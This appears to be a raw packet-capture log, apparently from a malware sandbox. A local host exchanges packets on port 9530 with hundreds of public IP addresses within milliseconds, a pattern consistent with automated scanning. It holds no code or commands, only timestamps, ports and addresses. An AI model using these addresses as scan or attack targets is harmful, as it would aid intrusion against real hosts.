May 16, 2024 16:38:50.027337074 CEST	9530	55095	66.106.194.171	192.168.2.23
May 16, 2024 16:38:50.027343988 CEST	55095	9530	192.168.2.23	207.149.121.162
May 16, 2024 16:38:50.027348042 CEST	9530	55095	12.96.172.50	192.168.2.23
May 16, 2024 16:38:50.027358055 CEST	9530	55095	13.30.121.252	192.168.2.23
May 16, 2024 16:38:50.027360916 CEST	55095	9530	192.168.2.23	196.242.29.112
May 16, 2024 16:38:50.027365923 CEST	9530	55095	109.174.206.114	192.168.2.23
May 16, 2024 16:38:50.027374983 CEST	55095	9530	192.168.2.23	66.106.194.171
May 16, 2024 16:38:50.027375937 CEST	9530	55095	216.255.42.237	192.168.2.23
May 16, 2024 16:38:50.027379990 CEST	55095	9530	192.168.2.23	67.73.190.209
May 16, 2024 16:38:50.027385950 CEST	9530	55095	72.190.250.113	192.168.2.23
May 16, 2024 16:38:50.027389050 CEST	55095	9530	192.168.2.23	12.96.172.50
May 16, 2024 16:38:50.027398109 CEST	9530	55095	68.196.201.108	192.168.2.23
May 16, 2024 16:38:50.027401924 CEST	9530	55095	149.99.1.225	192.168.2.23
May 16, 2024 16:38:50.027405977 CEST	9530	55095	70.42.204.154	192.168.2.23
May 16, 2024 16:38:50.027409077 CEST	9530	55095	1.40.248.80	192.168.2.23
May 16, 2024 16:38:50.027411938 CEST	9530	55095	193.169.57.220	192.168.2.23
May 16, 2024 16:38:50.027415991 CEST	9530	55095	83.179.22.79	192.168.2.23
May 16, 2024 16:38:50.027419090 CEST	9530	55095	149.227.125.206	192.168.2.23
May 16, 2024 16:38:50.027421951 CEST	9530	55095	40.192.23.182	192.168.2.23
May 16, 2024 16:38:50.027426004 CEST	9530	55095	17.135.114.13	192.168.2.23
May 16, 2024 16:38:50.027429104 CEST	9530	55095	84.102.204.179	192.168.2.23
May 16, 2024 16:38:50.027432919 CEST	9530	55095	125.244.5.127	192.168.2.23
May 16, 2024 16:38:50.027436972 CEST	9530	55095	206.226.207.134	192.168.2.23
May 16, 2024 16:38:50.027443886 CEST	55095	9530	192.168.2.23	13.30.121.252
May 16, 2024 16:38:50.027443886 CEST	55095	9530	192.168.2.23	109.174.206.114
May 16, 2024 16:38:50.027478933 CEST	55095	9530	192.168.2.23	72.190.250.113
May 16, 2024 16:38:50.027478933 CEST	55095	9530	192.168.2.23	68.196.201.108
May 16, 2024 16:38:50.027482986 CEST	55095	9530	192.168.2.23	193.169.57.220
May 16, 2024 16:38:50.027483940 CEST	55095	9530	192.168.2.23	216.255.42.237
May 16, 2024 16:38:50.027486086 CEST	55095	9530	192.168.2.23	1.40.248.80
May 16, 2024 16:38:50.027494907 CEST	55095	9530	192.168.2.23	84.102.204.179
May 16, 2024 16:38:50.027504921 CEST	55095	9530	192.168.2.23	149.227.125.206
May 16, 2024 16:38:50.027504921 CEST	55095	9530	192.168.2.23	125.244.5.127
May 16, 2024 16:38:50.027504921 CEST	55095	9530	192.168.2.23	40.192.23.182
May 16, 2024 16:38:50.027507067 CEST	55095	9530	192.168.2.23	83.179.22.79
May 16, 2024 16:38:50.027510881 CEST	55095	9530	192.168.2.23	149.99.1.225
May 16, 2024 16:38:50.027510881 CEST	55095	9530	192.168.2.23	70.42.204.154
May 16, 2024 16:38:50.027513981 CEST	55095	9530	192.168.2.23	17.135.114.13
May 16, 2024 16:38:50.027945995 CEST	55095	9530	192.168.2.23	206.226.207.134
May 16, 2024 16:38:50.029237986 CEST	9530	55095	146.189.216.6	192.168.2.23
May 16, 2024 16:38:50.029249907 CEST	9530	55095	123.117.21.247	192.168.2.23
May 16, 2024 16:38:50.029258966 CEST	9530	55095	71.177.101.87	192.168.2.23
May 16, 2024 16:38:50.029268026 CEST	9530	55095	196.48.29.245	192.168.2.23
May 16, 2024 16:38:50.029277086 CEST	9530	55095	171.53.204.36	192.168.2.23
May 16, 2024 16:38:50.029279947 CEST	55095	9530	192.168.2.23	146.189.216.6
May 16, 2024 16:38:50.029287100 CEST	9530	55095	152.54.207.214	192.168.2.23
May 16, 2024 16:38:50.029293060 CEST	55095	9530	192.168.2.23	123.117.21.247
May 16, 2024 16:38:50.029295921 CEST	9530	55095	44.166.245.99	192.168.2.23
May 16, 2024 16:38:50.029295921 CEST	55095	9530	192.168.2.23	71.177.101.87
May 16, 2024 16:38:50.029306889 CEST	9530	55095	100.134.76.175	192.168.2.23
May 16, 2024 16:38:50.029310942 CEST	55095	9530	192.168.2.23	171.53.204.36
May 16, 2024 16:38:50.029310942 CEST	55095	9530	192.168.2.23	196.48.29.245
May 16, 2024 16:38:50.029316902 CEST	9530	55095	34.211.222.242	192.168.2.23
May 16, 2024 16:38:50.029325962 CEST	9530	55095	91.133.95.129	192.168.2.23
May 16, 2024 16:38:50.029335022 CEST	9530	55095	77.94.211.249	192.168.2.23
May 16, 2024 16:38:50.029339075 CEST	9530	55095	206.247.141.81	192.168.2.23
May 16, 2024 16:38:50.029341936 CEST	55095	9530	192.168.2.23	152.54.207.214
May 16, 2024 16:38:50.029341936 CEST	55095	9530	192.168.2.23	44.166.245.99
May 16, 2024 16:38:50.029350042 CEST	9530	55095	80.194.134.197	192.168.2.23
May 16, 2024 16:38:50.029350996 CEST	55095	9530	192.168.2.23	100.134.76.175
May 16, 2024 16:38:50.029350996 CEST	55095	9530	192.168.2.23	34.211.222.242
May 16, 2024 16:38:50.029361963 CEST	9530	55095	186.77.8.21	192.168.2.23
May 16, 2024 16:38:50.029372931 CEST	9530	55095	170.211.67.175	192.168.2.23
May 16, 2024 16:38:50.029382944 CEST	9530	55095	202.121.72.235	192.168.2.23
May 16, 2024 16:38:50.029393911 CEST	9530	55095	38.76.126.12	192.168.2.23
May 16, 2024 16:38:50.029402018 CEST	9530	55095	125.240.64.79	192.168.2.23
May 16, 2024 16:38:50.029406071 CEST	9530	55095	145.3.63.19	192.168.2.23
May 16, 2024 16:38:50.029406071 CEST	55095	9530	192.168.2.23	80.194.134.197
May 16, 2024 16:38:50.029409885 CEST	9530	55095	210.41.43.204	192.168.2.23
May 16, 2024 16:38:50.029419899 CEST	9530	55095	52.162.241.39	192.168.2.23
May 16, 2024 16:38:50.029422998 CEST	55095	9530	192.168.2.23	186.77.8.21
May 16, 2024 16:38:50.029424906 CEST	55095	9530	192.168.2.23	77.94.211.249
May 16, 2024 16:38:50.029426098 CEST	55095	9530	192.168.2.23	170.211.67.175
May 16, 2024 16:38:50.029426098 CEST	55095	9530	192.168.2.23	202.121.72.235
May 16, 2024 16:38:50.029428959 CEST	9530	55095	165.50.178.115	192.168.2.23
May 16, 2024 16:38:50.029433012 CEST	55095	9530	192.168.2.23	38.76.126.12
May 16, 2024 16:38:50.029433012 CEST	55095	9530	192.168.2.23	125.240.64.79
May 16, 2024 16:38:50.029433012 CEST	55095	9530	192.168.2.23	210.41.43.204
May 16, 2024 16:38:50.029438019 CEST	55095	9530	192.168.2.23	91.133.95.129
May 16, 2024 16:38:50.029438019 CEST	55095	9530	192.168.2.23	206.247.141.81
May 16, 2024 16:38:50.029439926 CEST	55095	9530	192.168.2.23	145.3.63.19
May 16, 2024 16:38:50.029441118 CEST	9530	55095	50.221.254.4	192.168.2.23
May 16, 2024 16:38:50.029449940 CEST	55095	9530	192.168.2.23	52.162.241.39
May 16, 2024 16:38:50.029450893 CEST	9530	55095	220.79.6.33	192.168.2.23
May 16, 2024 16:38:50.029462099 CEST	9530	55095	96.22.16.19	192.168.2.23
May 16, 2024 16:38:50.029469967 CEST	55095	9530	192.168.2.23	165.50.178.115
May 16, 2024 16:38:50.029469967 CEST	9530	55095	54.218.221.135	192.168.2.23
May 16, 2024 16:38:50.029473066 CEST	55095	9530	192.168.2.23	50.221.254.4
May 16, 2024 16:38:50.029480934 CEST	9530	55095	64.165.231.141	192.168.2.23
May 16, 2024 16:38:50.029490948 CEST	9530	55095	211.153.57.227	192.168.2.23
May 16, 2024 16:38:50.029495001 CEST	55095	9530	192.168.2.23	96.22.16.19
May 16, 2024 16:38:50.029500008 CEST	9530	55095	165.171.73.134	192.168.2.23
May 16, 2024 16:38:50.029510975 CEST	9530	55095	158.100.18.84	192.168.2.23
May 16, 2024 16:38:50.029515982 CEST	55095	9530	192.168.2.23	54.218.221.135
May 16, 2024 16:38:50.029516935 CEST	55095	9530	192.168.2.23	64.165.231.141
May 16, 2024 16:38:50.029520035 CEST	9530	55095	123.155.7.193	192.168.2.23
May 16, 2024 16:38:50.029520988 CEST	55095	9530	192.168.2.23	220.79.6.33
May 16, 2024 16:38:50.029524088 CEST	9530	55095	223.5.82.151	192.168.2.23
May 16, 2024 16:38:50.029529095 CEST	9530	55095	66.159.96.133	192.168.2.23
May 16, 2024 16:38:50.029539108 CEST	9530	55095	117.253.73.156	192.168.2.23
May 16, 2024 16:38:50.029540062 CEST	55095	9530	192.168.2.23	165.171.73.134
May 16, 2024 16:38:50.029548883 CEST	9530	55095	58.126.248.188	192.168.2.23
May 16, 2024 16:38:50.029555082 CEST	55095	9530	192.168.2.23	211.153.57.227
May 16, 2024 16:38:50.029557943 CEST	9530	55095	201.215.196.215	192.168.2.23
May 16, 2024 16:38:50.029570103 CEST	9530	55095	146.98.164.213	192.168.2.23
May 16, 2024 16:38:50.029578924 CEST	9530	55095	9.182.109.165	192.168.2.23
May 16, 2024 16:38:50.029587984 CEST	9530	55095	93.225.221.165	192.168.2.23
May 16, 2024 16:38:50.029596090 CEST	9530	55095	205.218.174.14	192.168.2.23
May 16, 2024 16:38:50.029603958 CEST	55095	9530	192.168.2.23	158.100.18.84
May 16, 2024 16:38:50.029603958 CEST	55095	9530	192.168.2.23	223.5.82.151
May 16, 2024 16:38:50.029603958 CEST	55095	9530	192.168.2.23	58.126.248.188
May 16, 2024 16:38:50.029604912 CEST	9530	55095	151.3.63.238	192.168.2.23
May 16, 2024 16:38:50.029607058 CEST	55095	9530	192.168.2.23	123.155.7.193
May 16, 2024 16:38:50.029607058 CEST	55095	9530	192.168.2.23	66.159.96.133
May 16, 2024 16:38:50.029611111 CEST	55095	9530	192.168.2.23	117.253.73.156
May 16, 2024 16:38:50.029633045 CEST	55095	9530	192.168.2.23	146.98.164.213
May 16, 2024 16:38:50.029633045 CEST	55095	9530	192.168.2.23	93.225.221.165
May 16, 2024 16:38:50.029635906 CEST	55095	9530	192.168.2.23	201.215.196.215
May 16, 2024 16:38:50.029635906 CEST	55095	9530	192.168.2.23	9.182.109.165
May 16, 2024 16:38:50.029635906 CEST	55095	9530	192.168.2.23	205.218.174.14
May 16, 2024 16:38:50.029639959 CEST	55095	9530	192.168.2.23	151.3.63.238
May 16, 2024 16:38:50.030992985 CEST	9530	55095	51.12.117.56	192.168.2.23
May 16, 2024 16:38:50.031003952 CEST	9530	55095	80.19.13.120	192.168.2.23
May 16, 2024 16:38:50.031013012 CEST	9530	55095	210.75.181.142	192.168.2.23
May 16, 2024 16:38:50.031023026 CEST	9530	55095	191.205.120.7	192.168.2.23
May 16, 2024 16:38:50.031030893 CEST	9530	55095	212.187.200.170	192.168.2.23
May 16, 2024 16:38:50.031039953 CEST	9530	55095	65.234.71.150	192.168.2.23
May 16, 2024 16:38:50.031040907 CEST	55095	9530	192.168.2.23	51.12.117.56
May 16, 2024 16:38:50.031044960 CEST	55095	9530	192.168.2.23	80.19.13.120
May 16, 2024 16:38:50.031048059 CEST	55095	9530	192.168.2.23	191.205.120.7
May 16, 2024 16:38:50.031049013 CEST	9530	55095	43.205.131.68	192.168.2.23
May 16, 2024 16:38:50.031054974 CEST	55095	9530	192.168.2.23	212.187.200.170
May 16, 2024 16:38:50.031059027 CEST	55095	9530	192.168.2.23	210.75.181.142
May 16, 2024 16:38:50.031059027 CEST	9530	55095	69.151.228.106	192.168.2.23
May 16, 2024 16:38:50.031068087 CEST	9530	55095	84.33.32.26	192.168.2.23
May 16, 2024 16:38:50.031074047 CEST	55095	9530	192.168.2.23	65.234.71.150
May 16, 2024 16:38:50.031078100 CEST	9530	55095	128.164.137.123	192.168.2.23
May 16, 2024 16:38:50.031083107 CEST	55095	9530	192.168.2.23	43.205.131.68
May 16, 2024 16:38:50.031088114 CEST	9530	55095	185.63.152.9	192.168.2.23
May 16, 2024 16:38:50.031094074 CEST	55095	9530	192.168.2.23	69.151.228.106
May 16, 2024 16:38:50.031095028 CEST	9530	55095	152.141.44.97	192.168.2.23
May 16, 2024 16:38:50.031100988 CEST	55095	9530	192.168.2.23	84.33.32.26
May 16, 2024 16:38:50.031105042 CEST	9530	55095	79.184.178.170	192.168.2.23
May 16, 2024 16:38:50.031116962 CEST	9530	55095	31.93.9.181	192.168.2.23
May 16, 2024 16:38:50.031125069 CEST	9530	55095	45.142.211.7	192.168.2.23
May 16, 2024 16:38:50.031125069 CEST	55095	9530	192.168.2.23	128.164.137.123
May 16, 2024 16:38:50.031130075 CEST	55095	9530	192.168.2.23	152.141.44.97
May 16, 2024 16:38:50.031131983 CEST	55095	9530	192.168.2.23	185.63.152.9
May 16, 2024 16:38:50.031133890 CEST	9530	55095	108.183.81.220	192.168.2.23
May 16, 2024 16:38:50.031135082 CEST	55095	9530	192.168.2.23	79.184.178.170
May 16, 2024 16:38:50.031142950 CEST	9530	55095	67.220.230.248	192.168.2.23
May 16, 2024 16:38:50.031153917 CEST	9530	55095	146.54.173.51	192.168.2.23
May 16, 2024 16:38:50.031155109 CEST	55095	9530	192.168.2.23	31.93.9.181
May 16, 2024 16:38:50.031157970 CEST	55095	9530	192.168.2.23	45.142.211.7
May 16, 2024 16:38:50.031166077 CEST	9530	55095	201.44.85.62	192.168.2.23
May 16, 2024 16:38:50.031176090 CEST	9530	55095	135.120.154.186	192.168.2.23
May 16, 2024 16:38:50.031184912 CEST	9530	55095	95.240.217.15	192.168.2.23
May 16, 2024 16:38:50.031188011 CEST	55095	9530	192.168.2.23	146.54.173.51
May 16, 2024 16:38:50.031191111 CEST	55095	9530	192.168.2.23	108.183.81.220
May 16, 2024 16:38:50.031193972 CEST	9530	55095	98.147.30.123	192.168.2.23
May 16, 2024 16:38:50.031203985 CEST	9530	55095	63.255.186.226	192.168.2.23
May 16, 2024 16:38:50.031215906 CEST	9530	55095	161.218.152.235	192.168.2.23
May 16, 2024 16:38:50.031218052 CEST	55095	9530	192.168.2.23	201.44.85.62
May 16, 2024 16:38:50.031219006 CEST	55095	9530	192.168.2.23	67.220.230.248
May 16, 2024 16:38:50.031219959 CEST	55095	9530	192.168.2.23	95.240.217.15
May 16, 2024 16:38:50.031219959 CEST	55095	9530	192.168.2.23	135.120.154.186
May 16, 2024 16:38:50.031224966 CEST	55095	9530	192.168.2.23	98.147.30.123
May 16, 2024 16:38:50.031227112 CEST	9530	55095	102.132.32.53	192.168.2.23
May 16, 2024 16:38:50.031239986 CEST	9530	55095	222.183.116.68	192.168.2.23
May 16, 2024 16:38:50.031250000 CEST	9530	55095	95.19.222.25	192.168.2.23
May 16, 2024 16:38:50.031256914 CEST	9530	55095	170.26.20.0	192.168.2.23
May 16, 2024 16:38:50.031265020 CEST	55095	9530	192.168.2.23	161.218.152.235
May 16, 2024 16:38:50.031265974 CEST	9530	55095	109.149.157.71	192.168.2.23
May 16, 2024 16:38:50.031269073 CEST	55095	9530	192.168.2.23	63.255.186.226
May 16, 2024 16:38:50.031269073 CEST	55095	9530	192.168.2.23	222.183.116.68
May 16, 2024 16:38:50.031270981 CEST	55095	9530	192.168.2.23	102.132.32.53
May 16, 2024 16:38:50.031275034 CEST	9530	55095	78.220.101.183	192.168.2.23
May 16, 2024 16:38:50.031285048 CEST	9530	55095	133.128.125.210	192.168.2.23
May 16, 2024 16:38:50.031286001 CEST	55095	9530	192.168.2.23	170.26.20.0
May 16, 2024 16:38:50.031299114 CEST	55095	9530	192.168.2.23	95.19.222.25
May 16, 2024 16:38:50.031299114 CEST	9530	55095	90.199.78.162	192.168.2.23
May 16, 2024 16:38:50.031301975 CEST	55095	9530	192.168.2.23	109.149.157.71
May 16, 2024 16:38:50.031310081 CEST	9530	55095	85.18.195.230	192.168.2.23
May 16, 2024 16:38:50.031312943 CEST	55095	9530	192.168.2.23	78.220.101.183
May 16, 2024 16:38:50.031318903 CEST	9530	55095	111.194.210.153	192.168.2.23
May 16, 2024 16:38:50.031327963 CEST	9530	55095	162.93.41.74	192.168.2.23
May 16, 2024 16:38:50.031330109 CEST	55095	9530	192.168.2.23	133.128.125.210
May 16, 2024 16:38:50.031331062 CEST	55095	9530	192.168.2.23	90.199.78.162
May 16, 2024 16:38:50.031337976 CEST	9530	55095	70.215.193.117	192.168.2.23
May 16, 2024 16:38:50.031347036 CEST	9530	55095	8.19.100.2	192.168.2.23
May 16, 2024 16:38:50.031356096 CEST	9530	55095	139.48.194.26	192.168.2.23
May 16, 2024 16:38:50.031362057 CEST	55095	9530	192.168.2.23	162.93.41.74
May 16, 2024 16:38:50.031364918 CEST	9530	55095	50.203.240.155	192.168.2.23
May 16, 2024 16:38:50.031372070 CEST	55095	9530	192.168.2.23	85.18.195.230
May 16, 2024 16:38:50.031372070 CEST	55095	9530	192.168.2.23	111.194.210.153
May 16, 2024 16:38:50.031372070 CEST	55095	9530	192.168.2.23	8.19.100.2
May 16, 2024 16:38:50.031373024 CEST	55095	9530	192.168.2.23	70.215.193.117
May 16, 2024 16:38:50.031373978 CEST	9530	55095	202.141.10.179	192.168.2.23
May 16, 2024 16:38:50.031383991 CEST	55095	9530	192.168.2.23	139.48.194.26
May 16, 2024 16:38:50.031383991 CEST	9530	55095	45.21.88.119	192.168.2.23
May 16, 2024 16:38:50.031403065 CEST	55095	9530	192.168.2.23	50.203.240.155
May 16, 2024 16:38:50.031424999 CEST	55095	9530	192.168.2.23	202.141.10.179
May 16, 2024 16:38:50.031424999 CEST	55095	9530	192.168.2.23	45.21.88.119
May 16, 2024 16:38:50.032694101 CEST	9530	55095	223.89.1.176	192.168.2.23
May 16, 2024 16:38:50.032706976 CEST	9530	55095	113.159.13.174	192.168.2.23
May 16, 2024 16:38:50.032715082 CEST	9530	55095	131.9.37.183	192.168.2.23
May 16, 2024 16:38:50.032723904 CEST	9530	55095	159.125.68.189	192.168.2.23
May 16, 2024 16:38:50.032733917 CEST	9530	55095	149.152.69.163	192.168.2.23
May 16, 2024 16:38:50.032744884 CEST	9530	55095	35.223.139.2	192.168.2.23
May 16, 2024 16:38:50.032751083 CEST	55095	9530	192.168.2.23	113.159.13.174
May 16, 2024 16:38:50.032751083 CEST	55095	9530	192.168.2.23	159.125.68.189
May 16, 2024 16:38:50.032753944 CEST	9530	55095	118.105.137.210	192.168.2.23
May 16, 2024 16:38:50.032757998 CEST	55095	9530	192.168.2.23	131.9.37.183
May 16, 2024 16:38:50.032764912 CEST	9530	55095	73.183.131.69	192.168.2.23
May 16, 2024 16:38:50.032768011 CEST	55095	9530	192.168.2.23	35.223.139.2
May 16, 2024 16:38:50.032771111 CEST	55095	9530	192.168.2.23	149.152.69.163
May 16, 2024 16:38:50.032772064 CEST	55095	9530	192.168.2.23	223.89.1.176
May 16, 2024 16:38:50.032773972 CEST	9530	55095	149.58.117.83	192.168.2.23
May 16, 2024 16:38:50.032778978 CEST	9530	55095	68.227.116.170	192.168.2.23
May 16, 2024 16:38:50.032788992 CEST	9530	55095	202.48.252.114	192.168.2.23
May 16, 2024 16:38:50.032799006 CEST	9530	55095	155.163.78.49	192.168.2.23
May 16, 2024 16:38:50.032807112 CEST	9530	55095	163.247.214.121	192.168.2.23
May 16, 2024 16:38:50.032808065 CEST	55095	9530	192.168.2.23	118.105.137.210
May 16, 2024 16:38:50.032808065 CEST	55095	9530	192.168.2.23	149.58.117.83
May 16, 2024 16:38:50.032815933 CEST	9530	55095	93.12.114.140	192.168.2.23
May 16, 2024 16:38:50.032824993 CEST	9530	55095	35.211.44.38	192.168.2.23
May 16, 2024 16:38:50.032835007 CEST	9530	55095	167.16.170.79	192.168.2.23
May 16, 2024 16:38:50.032844067 CEST	9530	55095	182.195.208.177	192.168.2.23
May 16, 2024 16:38:50.032852888 CEST	9530	55095	80.31.6.115	192.168.2.23
May 16, 2024 16:38:50.032860994 CEST	9530	55095	146.118.190.210	192.168.2.23
May 16, 2024 16:38:50.032866955 CEST	55095	9530	192.168.2.23	73.183.131.69
May 16, 2024 16:38:50.032869101 CEST	9530	55095	68.235.128.210	192.168.2.23
May 16, 2024 16:38:50.032872915 CEST	9530	55095	46.125.41.120	192.168.2.23
May 16, 2024 16:38:50.032876968 CEST	9530	55095	24.125.251.82	192.168.2.23
May 16, 2024 16:38:50.032881021 CEST	9530	55095	118.26.28.250	192.168.2.23
May 16, 2024 16:38:50.032881975 CEST	55095	9530	192.168.2.23	35.211.44.38
May 16, 2024 16:38:50.032883883 CEST	55095	9530	192.168.2.23	202.48.252.114
May 16, 2024 16:38:50.032883883 CEST	55095	9530	192.168.2.23	68.227.116.170
May 16, 2024 16:38:50.032883883 CEST	55095	9530	192.168.2.23	163.247.214.121
May 16, 2024 16:38:50.032885075 CEST	55095	9530	192.168.2.23	93.12.114.140
May 16, 2024 16:38:50.032885075 CEST	55095	9530	192.168.2.23	155.163.78.49
May 16, 2024 16:38:50.032885075 CEST	55095	9530	192.168.2.23	167.16.170.79
May 16, 2024 16:38:50.032891035 CEST	9530	55095	88.7.173.174	192.168.2.23
May 16, 2024 16:38:50.032902002 CEST	9530	55095	76.199.147.194	192.168.2.23
May 16, 2024 16:38:50.032912016 CEST	55095	9530	192.168.2.23	68.235.128.210
May 16, 2024 16:38:50.032915115 CEST	9530	55095	84.172.162.50	192.168.2.23
May 16, 2024 16:38:50.032916069 CEST	55095	9530	192.168.2.23	24.125.251.82
May 16, 2024 16:38:50.032918930 CEST	55095	9530	192.168.2.23	146.118.190.210
May 16, 2024 16:38:50.032918930 CEST	55095	9530	192.168.2.23	88.7.173.174
May 16, 2024 16:38:50.032919884 CEST	55095	9530	192.168.2.23	182.195.208.177
May 16, 2024 16:38:50.032918930 CEST	55095	9530	192.168.2.23	118.26.28.250
May 16, 2024 16:38:50.032924891 CEST	55095	9530	192.168.2.23	80.31.6.115
May 16, 2024 16:38:50.032926083 CEST	55095	9530	192.168.2.23	76.199.147.194
May 16, 2024 16:38:50.032926083 CEST	9530	55095	18.165.113.116	192.168.2.23
May 16, 2024 16:38:50.032932043 CEST	55095	9530	192.168.2.23	46.125.41.120
May 16, 2024 16:38:50.032936096 CEST	9530	55095	79.183.41.8	192.168.2.23
May 16, 2024 16:38:50.032946110 CEST	9530	55095	187.130.70.195	192.168.2.23
May 16, 2024 16:38:50.032954931 CEST	9530	55095	213.162.54.110	192.168.2.23
May 16, 2024 16:38:50.032959938 CEST	9530	55095	173.2.22.63	192.168.2.23
May 16, 2024 16:38:50.032963991 CEST	9530	55095	218.123.157.158	192.168.2.23
May 16, 2024 16:38:50.032967091 CEST	9530	55095	91.97.122.7	192.168.2.23
May 16, 2024 16:38:50.032967091 CEST	55095	9530	192.168.2.23	79.183.41.8
May 16, 2024 16:38:50.032973051 CEST	55095	9530	192.168.2.23	18.165.113.116
May 16, 2024 16:38:50.032974958 CEST	55095	9530	192.168.2.23	84.172.162.50
May 16, 2024 16:38:50.032977104 CEST	9530	55095	105.233.54.61	192.168.2.23
May 16, 2024 16:38:50.032985926 CEST	9530	55095	186.2.127.161	192.168.2.23
May 16, 2024 16:38:50.032989025 CEST	55095	9530	192.168.2.23	187.130.70.195
May 16, 2024 16:38:50.032994032 CEST	9530	55095	78.92.212.116	192.168.2.23
May 16, 2024 16:38:50.032995939 CEST	55095	9530	192.168.2.23	213.162.54.110
May 16, 2024 16:38:50.032995939 CEST	55095	9530	192.168.2.23	91.97.122.7
May 16, 2024 16:38:50.032999039 CEST	55095	9530	192.168.2.23	218.123.157.158
May 16, 2024 16:38:50.033003092 CEST	9530	55095	156.226.7.81	192.168.2.23
May 16, 2024 16:38:50.033013105 CEST	9530	55095	110.121.211.45	192.168.2.23
May 16, 2024 16:38:50.033015013 CEST	55095	9530	192.168.2.23	186.2.127.161
May 16, 2024 16:38:50.033015013 CEST	55095	9530	192.168.2.23	78.92.212.116
May 16, 2024 16:38:50.033021927 CEST	55095	9530	192.168.2.23	173.2.22.63
May 16, 2024 16:38:50.033024073 CEST	9530	55095	135.110.19.208	192.168.2.23
May 16, 2024 16:38:50.033021927 CEST	55095	9530	192.168.2.23	105.233.54.61
May 16, 2024 16:38:50.033042908 CEST	9530	55095	94.38.31.153	192.168.2.23
May 16, 2024 16:38:50.033051968 CEST	9530	55095	101.64.164.165	192.168.2.23
May 16, 2024 16:38:50.033071995 CEST	55095	9530	192.168.2.23	156.226.7.81
May 16, 2024 16:38:50.033071995 CEST	55095	9530	192.168.2.23	110.121.211.45
May 16, 2024 16:38:50.033072948 CEST	55095	9530	192.168.2.23	135.110.19.208
May 16, 2024 16:38:50.033071995 CEST	55095	9530	192.168.2.23	94.38.31.153
May 16, 2024 16:38:50.033140898 CEST	55095	9530	192.168.2.23	101.64.164.165
May 16, 2024 16:38:50.034420013 CEST	9530	55095	184.239.31.115	192.168.2.23
May 16, 2024 16:38:50.034431934 CEST	9530	55095	108.20.31.207	192.168.2.23
May 16, 2024 16:38:50.034440994 CEST	9530	55095	76.111.30.56	192.168.2.23
May 16, 2024 16:38:50.034450054 CEST	9530	55095	58.185.39.42	192.168.2.23
May 16, 2024 16:38:50.034460068 CEST	9530	55095	167.43.78.12	192.168.2.23
May 16, 2024 16:38:50.034466028 CEST	55095	9530	192.168.2.23	184.239.31.115
May 16, 2024 16:38:50.034468889 CEST	9530	55095	160.32.180.97	192.168.2.23
May 16, 2024 16:38:50.034475088 CEST	55095	9530	192.168.2.23	108.20.31.207
May 16, 2024 16:38:50.034475088 CEST	55095	9530	192.168.2.23	58.185.39.42
May 16, 2024 16:38:50.034476042 CEST	55095	9530	192.168.2.23	76.111.30.56
May 16, 2024 16:38:50.034480095 CEST	9530	55095	222.18.234.194	192.168.2.23
May 16, 2024 16:38:50.034488916 CEST	55095	9530	192.168.2.23	167.43.78.12
May 16, 2024 16:38:50.034492016 CEST	9530	55095	46.199.16.93	192.168.2.23
May 16, 2024 16:38:50.034506083 CEST	9530	55095	208.230.118.255	192.168.2.23
May 16, 2024 16:38:50.034514904 CEST	9530	55095	89.235.196.245	192.168.2.23
May 16, 2024 16:38:50.034523964 CEST	9530	55095	136.38.147.119	192.168.2.23
May 16, 2024 16:38:50.034533024 CEST	9530	55095	70.44.4.194	192.168.2.23
May 16, 2024 16:38:50.034542084 CEST	9530	55095	101.135.6.95	192.168.2.23
May 16, 2024 16:38:50.034543991 CEST	55095	9530	192.168.2.23	222.18.234.194
May 16, 2024 16:38:50.034545898 CEST	55095	9530	192.168.2.23	46.199.16.93
May 16, 2024 16:38:50.034545898 CEST	55095	9530	192.168.2.23	160.32.180.97
May 16, 2024 16:38:50.034550905 CEST	9530	55095	136.223.47.81	192.168.2.23
May 16, 2024 16:38:50.034559965 CEST	9530	55095	155.211.224.246	192.168.2.23
May 16, 2024 16:38:50.034563065 CEST	55095	9530	192.168.2.23	136.38.147.119
May 16, 2024 16:38:50.034563065 CEST	55095	9530	192.168.2.23	70.44.4.194
May 16, 2024 16:38:50.034569979 CEST	9530	55095	161.155.40.165	192.168.2.23
May 16, 2024 16:38:50.034570932 CEST	55095	9530	192.168.2.23	208.230.118.255
May 16, 2024 16:38:50.034570932 CEST	55095	9530	192.168.2.23	89.235.196.245
May 16, 2024 16:38:50.034581900 CEST	9530	55095	210.170.170.164	192.168.2.23
May 16, 2024 16:38:50.034583092 CEST	55095	9530	192.168.2.23	101.135.6.95
May 16, 2024 16:38:50.034583092 CEST	55095	9530	192.168.2.23	155.211.224.246
May 16, 2024 16:38:50.034583092 CEST	55095	9530	192.168.2.23	136.223.47.81
May 16, 2024 16:38:50.034591913 CEST	9530	55095	89.59.92.57	192.168.2.23
May 16, 2024 16:38:50.034603119 CEST	9530	55095	212.236.225.91	192.168.2.23
May 16, 2024 16:38:50.034605026 CEST	55095	9530	192.168.2.23	161.155.40.165
May 16, 2024 16:38:50.034609079 CEST	55095	9530	192.168.2.23	210.170.170.164
May 16, 2024 16:38:50.034612894 CEST	9530	55095	209.233.219.38	192.168.2.23
May 16, 2024 16:38:50.034619093 CEST	55095	9530	192.168.2.23	89.59.92.57
May 16, 2024 16:38:50.034622908 CEST	9530	55095	99.126.206.230	192.168.2.23
May 16, 2024 16:38:50.034631968 CEST	9530	55095	223.3.199.222	192.168.2.23
May 16, 2024 16:38:50.034641027 CEST	55095	9530	192.168.2.23	209.233.219.38
May 16, 2024 16:38:50.034641027 CEST	9530	55095	143.239.87.227	192.168.2.23
May 16, 2024 16:38:50.034651041 CEST	9530	55095	202.154.219.115	192.168.2.23
May 16, 2024 16:38:50.034661055 CEST	55095	9530	192.168.2.23	99.126.206.230
May 16, 2024 16:38:50.034661055 CEST	55095	9530	192.168.2.23	212.236.225.91
May 16, 2024 16:38:50.034662008 CEST	9530	55095	80.156.234.254	192.168.2.23
May 16, 2024 16:38:50.034666061 CEST	55095	9530	192.168.2.23	223.3.199.222
May 16, 2024 16:38:50.034672022 CEST	9530	55095	49.25.3.134	192.168.2.23
May 16, 2024 16:38:50.034684896 CEST	9530	55095	101.55.71.167	192.168.2.23
May 16, 2024 16:38:50.034693003 CEST	9530	55095	1.62.190.33	192.168.2.23
May 16, 2024 16:38:50.034701109 CEST	9530	55095	143.58.248.81	192.168.2.23
May 16, 2024 16:38:50.034710884 CEST	9530	55095	194.138.11.32	192.168.2.23
May 16, 2024 16:38:50.034719944 CEST	9530	55095	34.45.191.63	192.168.2.23
May 16, 2024 16:38:50.034724951 CEST	55095	9530	192.168.2.23	49.25.3.134
May 16, 2024 16:38:50.034724951 CEST	55095	9530	192.168.2.23	1.62.190.33
